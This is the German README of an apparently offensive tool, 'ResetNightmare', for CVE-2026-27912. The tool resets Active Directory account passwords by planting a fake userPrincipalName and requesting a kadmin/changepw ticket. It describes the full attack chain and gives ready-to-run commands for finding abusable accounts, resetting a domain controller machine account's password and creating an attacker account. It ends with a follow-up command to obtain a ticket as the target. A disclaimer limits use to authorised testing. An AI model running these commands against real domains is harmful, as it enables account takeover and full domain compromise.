ResetNightmare — CVE-2026-27912

Linux-/impacket-Tooling für CVE-2026-27912 ("ResetNightmare"). Setzt das Passwort eines Active-Directory-Zielkontos zurück, indem ein kadmin/changepw-TGT für einen NT_ENTERPRISE-Principal angefordert wird, dessen Name der sAMAccountName des Ziels ist, unter Verwendung eines Kontos (UPNUser), auf dem wir eine gefälschte userPrincipalName schreiben können.

Python-Port des Semperis Community Invoke-ResetNightmare-PowerShell-Tools (siehe Danksagungen).

⚠️ Rechtlicher Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Dieses Tool verändert echte Active-Directory-Anmeldeinformationen und kann Konten sperren.

• Führen Sie es nur gegen Systeme aus, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben (ein unterzeichneter Auftrag oder ein Labor, das Sie kontrollieren).
• Unbefugter Zugriff auf Computersysteme ist illegal (z. B. der US-amerikanische CFAA, der britische Computer Misuse Act und entsprechende Gesetze) und kann straf- und zivilrechtliche Sanktionen nach sich ziehen.
• Die Autoren übernehmen keine Haftung für Missbrauch. Die Software wird "wie besehen" bereitgestellt — siehe LICENSE. Wenn Sie keine Berechtigung haben, führen Sie dieses Tool nicht aus.

So funktioniert es

1. (optional) UPNUser erstellen, sich selbst GenericAll gewähren, das Passwort setzen und das Konto aktivieren.
2. Den sAMAccountName des Ziels auflösen.
3. UPNUser.userPrincipalName = <targetSAN> setzen (die gefälschte UPN).
4. AS-REQ als NT_ENTERPRISE '<targetSAN>' für kadmin/changepw — der KDC mappt die Enterprise-UPN auf das Ziel und stellt ein Passwortänderungs-TGT dafür aus.
5. Die gefälschte UPN löschen.
6. kpasswd-Passwortänderung mit diesem TGT → setzt das Passwort des Ziels.
7. Die ursprüngliche UPN von UPNUser wiederherstellen.

Installation

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Verwendung

Die Anmeldedaten des Operators sind das erste Positionsargument: [domain/]username[:password]. Jedes Passwort kann weggelassen werden; Sie werden dann zur Eingabe aufgefordert.

Aufklärung – was kann dieses Konto missbrauchen? Meldet Konten, auf denen Sie eine UPN schreiben können, OUs, in denen Sie Objekte erstellen können, sowie die MachineAccountQuota, mit vorgeschlagenen Befehlen:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Ziel zurücksetzen mit einem Konto, auf dem Sie eine UPN schreiben können:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Das UPN-Konto zuerst erstellen (benötigt Create Child auf der OU und LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Fügen Sie -debug für ausführliche AS-REQ-/LDAP-/kpasswd-Protokollierung hinzu.

Flags

Fehlerbehebung

--create-new-path-Fehler:

Hinweise:

• LDAPS ist standardmäßig aktiviert. AD akzeptiert unicodePwd-Schreibvorgänge nur über TLS, daher benötigt --create-new-path dies. Verwenden Sie --no-ssl nur für reine Lese-/UPN-Pfade.
• --find meldet nur Allow-ACEs, die Ihnen oder Ihren Gruppen gewährt wurden (plus Objektbesitz und MachineAccountQuota); Deny-ACEs und domänenübergreifende Mitgliedschaften werden nicht vollständig ausgewertet. Ein leeres Ergebnis ist kein Beweis dafür, dass es keinen Pfad gibt — verifizieren Sie vor der Verwendung.

Nach dem Erfolg

Das Tool gibt einen Folgebefehl aus, um ein nutzbares Ticket als das Ziel zu erhalten:

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Danksagungen

• Semperis Community — ResetNightmare — ursprüngliche Forschung und das PowerShell-Tool Invoke-ResetNightmare, das dieses Projekt portiert.
• impacket — Kerberos- und ldaptypes-Primitive.
• ldap3 — der LDAP-Client.

Unabhängiger Community-Port; nicht mit Semperis verbunden oder von Semperis unterstützt.

Lizenz

MIT © 2026 mihat2.